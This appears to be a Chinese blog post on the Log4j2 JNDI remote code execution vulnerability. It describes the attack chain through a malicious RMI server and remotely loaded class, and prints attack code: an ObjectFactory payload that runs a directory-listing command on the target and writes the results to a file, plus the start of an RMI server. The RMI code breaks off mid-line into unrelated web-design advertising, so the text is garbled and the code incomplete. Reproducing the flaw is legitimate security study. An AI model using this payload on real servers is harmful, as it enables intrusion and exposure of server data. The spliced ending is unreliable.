頂部
遠程代碼漏洞對廣大程序員來并不陌生,遠程代碼執行是指攻擊者可能會通過遠程調用的方式來攻擊或控制計算機設備,無論該設備在哪里。如果遠程代碼執行的是一個死循環那服務器的CPU不得美滋滋了。
前段時間,Java 界的知名日志框架 Log4j2 發現了遠程代碼執行漏洞,漏洞風暴席卷各大公司,編程屆異常火熱(加班),我們是萬萬沒想到那么牛逼的日志框架有BUG。
這次安全漏洞也有個小插曲,我司的員工發現了漏洞,上報了Apache沒告知GXB,我司也受到了處罰,希望下次引以為戒,不過這事程序員不背鍋,管理下次要反思下。
漏洞描述本次 Apache Log4j 遠程代碼執行漏洞,是由于組件存在 Java JNDI 注入漏洞:
當程序將用戶輸入的數據記入日志時,攻擊者通過構造特殊請求,來觸發 Apache Log4j2 中的遠程代碼執行漏洞,從而利用此漏洞在目標服務器上執行任意代碼。
開啟HTTP服務器,并將我們的惡意類放在目錄下 開啟惡意RMI服務器 攻擊者輸入的參數為上一步開啟的惡意RMI服務器地址 惡意RMI服務器返回ReferenceWrapper類 目標服務器在執行lookup操作的時候,將ReferenceWrapper變成Reference類,然后遠程加載并實例化我們的Factory類(即遠程加載我們HTTP服務器上的惡意類),進而執行惡意代碼 漏洞復現 JNDIJNDI 是Java 命名和目錄接口(Java Naming and Directory Interface,JNDI)的簡稱,從一開始就一直是 Java 2平臺企業版的核心技術之一。
在JMS,JMail,JDBC,EJB等技術中,就大量應用的這種技術。
JNDI可訪問的現有的目錄及服務有:DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol 輕型目錄訪問協議)、 CORBA對象服務、文件系統、Windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS。
JNDI 誕生的理由很簡單:隨著分布式應用的發展,遠程訪問對象訪問成為常用的方法。雖然說通過Socket等編程手段仍然可實現遠程通信,但按照模式的理論來說,仍是有其局限性的。
RMI技術,RMI-IIOP技術的產生,使遠程對象的查找成為了技術焦點。JNDI技術就應運而生。JNDI技術產生后,就可方便的查找遠程或是本地對象。
如下展示了JNDI的架構圖。
編寫攻擊代碼為完成Bug的復現,我們需要簡單的搭建一個RMI服務。
編寫我們的攻擊代碼。此處攻擊代碼遍歷指定目錄下的文件,并將其輸出到指定目錄中。
攻擊者可以獲取無法服務器的任意目錄結構,恐怖如斯~
public class BadCode implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Namename, Context nameCtx, Hashtable environment) throws Exception { System.out.println("開始執行攻擊"); String data = "HH,我來了";// 囂張點 File file =new File("./badcode.txt"); //if file does not exists, thencreate it if(!file.exists()){ file.createNewFile(); } FileWriter fileWritter = new FileWriter(file.getName(),true); fileWritter.write(data); // 遍歷服務器指定目錄 List command = new ArrayList(); command.add("tree"); command.add("**");//指定一個目錄 String outstring = null; Process p = null; try { ProcessBuilder builder = new ProcessBuilder(); builder.command(command); /** * 將標準輸入流和錯誤輸入流合并,通過標準輸入流程讀取信息 */ builder.redirectErrorStream(true); p = builder.start(); outstring = waitFor(p); fileWritter.write(outstring); } catch (Exception ex) { ex.printStackTrace(); }finally { fileWritter.close(); p.destroy(); } return obj; } publicstatic String waitFor(Process p) { InputStream in = null; int exitValue = -1; StringBuffer outputString = new StringBuffer(); try { in = p.getInputStream(); final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in, "utf-8")); boolean finished = false; int maxRetry = 600;//每次休眠1秒,最長執行時間10分種 int retry = 0; while (!finished) { if (retry > maxRetry) { return"error"; } try { String line=""; while ((line=bufferedReader.readLine())!=null) { outputString.append(line+"\n"); } //進程未結束時調用exitValue將拋出異常 exitValue = p.exitValue(); finished = true; } catch (IllegalThreadStateException e) { Thread.sleep(1000);//休眠1秒 retry++; } } } catch (Exception e) { e.printStackTrace(); } finally { if (in != null) { try { in.close(); } catch (IOException e) { System.out.println(e.getMessage()); } } } return outputString.toString(); } }編寫RMI服務并啟動。
public class StartRMIserver { publicstatic void main(String[] args) throws Exception { //服務端口1099 Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("BadCode", "BadCode", "上海網站建設公司_君君營銷,為您提供定制開發、App開發、靜態網站、網站制作、云服務器、品牌網站制作